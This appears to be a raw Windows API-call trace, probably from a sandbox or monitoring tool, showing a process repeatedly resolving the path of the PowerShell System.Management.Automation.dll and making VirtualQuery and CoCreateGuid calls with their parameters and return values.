	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bc10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.147] VirtualQuery (in: lpAddress=0x14b140, lpBuffer=0x14c000, dwLength=0x30 | out: lpBuffer=0x14c000*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.148] VirtualQuery (in: lpAddress=0x14b1d0, lpBuffer=0x14c090, dwLength=0x30 | out: lpBuffer=0x14c090*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.148] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.149] VirtualQuery (in: lpAddress=0x14b950, lpBuffer=0x14c810, dwLength=0x30 | out: lpBuffer=0x14c810*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.150] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.150] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.150] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.151] VirtualQuery (in: lpAddress=0x14b950, lpBuffer=0x14c810, dwLength=0x30 | out: lpBuffer=0x14c810*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.151] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.152] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.152] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.164] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xef4e5eb4, Data2=0xa94b, Data3=0x4b54, Data4=([0]=0xae, [1]=0xb2, [2]=0xc, [3]=0xaa, [4]=0xaf, [5]=0xbb, [6]=0x44, [7]=0x79))) returned 0x0
	[0065.164] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.166] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.166] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.166] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.166] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bc10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.166] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bc10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.166] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.168] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.169] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x95b6b035, Data2=0xd302, Data3=0x4887, Data4=([0]=0x89, [1]=0x4f, [2]=0xf, [3]=0x32, [4]=0xe6, [5]=0x22, [6]=0x48, [7]=0x4a))) returned 0x0
	[0065.170] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x6c4db6d1, Data2=0xbe87, Data3=0x4275, Data4=([0]=0xa1, [1]=0x2d, [2]=0x36, [3]=0xb8, [4]=0xdb, [5]=0xea, [6]=0x6f, [7]=0xbe))) returned 0x0
	[0065.173] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xea1de483, Data2=0xcf6b, Data3=0x49e3, Data4=([0]=0x83, [1]=0x43, [2]=0xd1, [3]=0x58, [4]=0x8a, [5]=0x2d, [6]=0xd4, [7]=0xfb))) returned 0x0
	[0065.174] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf22bed5a, Data2=0x8104, Data3=0x4609, Data4=([0]=0xb8, [1]=0xfd, [2]=0x32, [3]=0xd4, [4]=0x9f, [5]=0x20, [6]=0x28, [7]=0x92))) returned 0x0
	[0065.175] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x47ba2044, Data2=0xab7b, Data3=0x4154, Data4=([0]=0x87, [1]=0xf8, [2]=0x2e, [3]=0x86, [4]=0x58, [5]=0x6d, [6]=0x4d, [7]=0x94))) returned 0x0
	[0065.175] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x728270e3, Data2=0x4484, Data3=0x4483, Data4=([0]=0xbd, [1]=0x26, [2]=0x6, [3]=0x8, [4]=0x8d, [5]=0xd0, [6]=0x37, [7]=0x9a))) returned 0x0
	[0065.175] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x990356b5, Data2=0x7520, Data3=0x42f6, Data4=([0]=0x9e, [1]=0xc2, [2]=0x7a, [3]=0xea, [4]=0x32, [5]=0x58, [6]=0x1c, [7]=0x1a))) returned 0x0
	[0065.176] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf2010b25, Data2=0xd3fd, Data3=0x4935, Data4=([0]=0x90, [1]=0xb3, [2]=0x8c, [3]=0xa9, [4]=0xd4, [5]=0xb2, [6]=0xb8, [7]=0xb2))) returned 0x0
	[0065.176] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x2f4f8d47, Data2=0xdb78, Data3=0x43af, Data4=([0]=0x9a, [1]=0x9e, [2]=0xac, [3]=0xc1, [4]=0xd0, [5]=0x10, [6]=0x3b, [7]=0xb1))) returned 0x0
	[0065.176] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xa8926c6a, Data2=0xdd68, Data3=0x4758, Data4=([0]=0xa2, [1]=0xf8, [2]=0x2c, [3]=0x78, [4]=0x2f, [5]=0xce, [6]=0xa1, [7]=0xb2))) returned 0x0
	[0065.176] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xfcee33c0, Data2=0x25c0, Data3=0x4b8a, Data4=([0]=0xa9, [1]=0x25, [2]=0x3e, [3]=0x29, [4]=0x7e, [5]=0x28, [6]=0xf, [7]=0x39))) returned 0x0
	[0065.178] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf1a027c5, Data2=0xbe0b, Data3=0x458b, Data4=([0]=0xbf, [1]=0x8f, [2]=0xd3, [3]=0xa7, [4]=0x5a, [5]=0xc, [6]=0xc2, [7]=0x6d))) returned 0x0
	[0065.180] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x9c83e787, Data2=0xf215, Data3=0x4480, Data4=([0]=0xa1, [1]=0xf, [2]=0x9a, [3]=0x66, [4]=0x22, [5]=0x70, [6]=0x6a, [7]=0xda))) returned 0x0
	[0065.181] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x96de5363, Data2=0xf831, Data3=0x48cf, Data4=([0]=0x93, [1]=0xda, [2]=0xb0, [3]=0x9b, [4]=0xf, [5]=0x8e, [6]=0xce, [7]=0x8a))) returned 0x0
	[0065.181] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x6867d750, Data2=0x6a6e, Data3=0x4ebe, Data4=([0]=0x85, [1]=0xc3, [2]=0x65, [3]=0x78, [4]=0x7, [5]=0x4c, [6]=0x10, [7]=0x1))) returned 0x0
	[0065.181] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xbcc4301, Data2=0xd34b, Data3=0x43c4, Data4=([0]=0x94, [1]=0xde, [2]=0x51, [3]=0xf7, [4]=0x2a, [5]=0xf, [6]=0xeb, [7]=0x34))) returned 0x0
	[0065.182] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x54e364b8, Data2=0xaea5, Data3=0x4ded, Data4=([0]=0x96, [1]=0x60, [2]=0x92, [3]=0xaf, [4]=0x13, [5]=0x83, [6]=0xc6, [7]=0xc1))) returned 0x0
	[0065.182] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x3fd35b55, Data2=0x7cc1, Data3=0x4bdd, Data4=([0]=0x88, [1]=0xcc, [2]=0xf5, [3]=0xdb, [4]=0x8e, [5]=0x9f, [6]=0x8f, [7]=0x52))) returned 0x0
	[0065.182] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x95d6804, Data2=0xccec, Data3=0x405a, Data4=([0]=0xb2, [1]=0xb6, [2]=0x1b, [3]=0x75, [4]=0x51, [5]=0x6b, [6]=0xb7, [7]=0xf2))) returned 0x0
	[0065.182] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x292026e2, Data2=0xa9d7, Data3=0x47e1, Data4=([0]=0xb0, [1]=0x2c, [2]=0xf9, [3]=0x9, [4]=0x83, [5]=0x2f, [6]=0x6d, [7]=0xa4))) returned 0x0
	[0065.182] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x2317d814, Data2=0x3674, Data3=0x4180, Data4=([0]=0x96, [1]=0x96, [2]=0x7, [3]=0x6c, [4]=0x21, [5]=0xc5, [6]=0xc6, [7]=0xc9))) returned 0x0
	[0065.187] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x3013cf66, Data2=0x1dbc, Data3=0x4995, Data4=([0]=0xaa, [1]=0x52, [2]=0x9e, [3]=0x71, [4]=0xf, [5]=0x80, [6]=0xef, [7]=0xa0))) returned 0x0
	[0065.188] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xa6cc8079, Data2=0xd8e7, Data3=0x403f, Data4=([0]=0x9c, [1]=0xcc, [2]=0x2e, [3]=0xb1, [4]=0xdc, [5]=0x14, [6]=0x40, [7]=0x56))) returned 0x0
	[0065.188] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xeae998d7, Data2=0x53b7, Data3=0x4db1, Data4=([0]=0x85, [1]=0x36, [2]=0xd, [3]=0x37, [4]=0x46, [5]=0x76, [6]=0x87, [7]=0xe6))) returned 0x0
	[0065.188] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x643f38f2, Data2=0x1760, Data3=0x48de, Data4=([0]=0x8b, [1]=0x67, [2]=0x97, [3]=0x51, [4]=0x7d, [5]=0x8a, [6]=0xfe, [7]=0x8c))) returned 0x0
	[0065.188] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x7d872618, Data2=0x6891, Data3=0x453f, Data4=([0]=0x9f, [1]=0xd1, [2]=0x96, [3]=0xa, [4]=0x7, [5]=0x7b, [6]=0x5f, [7]=0x18))) returned 0x0
	[0065.188] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x3dec6946, Data2=0x75f7, Data3=0x45c6, Data4=([0]=0x94, [1]=0xcd, [2]=0x84, [3]=0xe, [4]=0xf, [5]=0xa5, [6]=0xbf, [7]=0x68))) returned 0x0
	[0065.189] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xa9eb94b8, Data2=0x76cd, Data3=0x4c06, Data4=([0]=0xa7, [1]=0x1b, [2]=0xb1, [3]=0x4a, [4]=0x6e, [5]=0x73, [6]=0x1e, [7]=0x88))) returned 0x0
	[0065.189] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xa87fba73, Data2=0xb65, Data3=0x4555, Data4=([0]=0xaa, [1]=0x18, [2]=0x5b, [3]=0x3c, [4]=0xf5, [5]=0xf4, [6]=0x87, [7]=0xbe))) returned 0x0
	[0065.189] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe0710e7f, Data2=0x790a, Data3=0x47ce, Data4=([0]=0xa6, [1]=0x7f, [2]=0xdd, [3]=0xf, [4]=0x80, [5]=0x84, [6]=0xd, [7]=0x5b))) returned 0x0
	[0065.189] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x96181280, Data2=0xc6a6, Data3=0x4b05, Data4=([0]=0x9d, [1]=0xf7, [2]=0xf4, [3]=0xc, [4]=0xcb, [5]=0xb4, [6]=0xf9, [7]=0xc5))) returned 0x0
	[0065.189] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x4dd0140a, Data2=0x397e, Data3=0x4d00, Data4=([0]=0xaa, [1]=0x9c, [2]=0x64, [3]=0xe9, [4]=0x51, [5]=0x66, [6]=0x19, [7]=0x9))) returned 0x0
	[0065.190] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x7a543db6, Data2=0xec40, Data3=0x4277, Data4=([0]=0x8e, [1]=0x6b, [2]=0xf6, [3]=0x59, [4]=0x1a, [5]=0x46, [6]=0x31, [7]=0xd6))) returned 0x0
	[0065.190] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x8f58e367, Data2=0xac26, Data3=0x4df5, Data4=([0]=0xb1, [1]=0x36, [2]=0xab, [3]=0x8d, [4]=0x2e, [5]=0x48, [6]=0x44, [7]=0x29))) returned 0x0
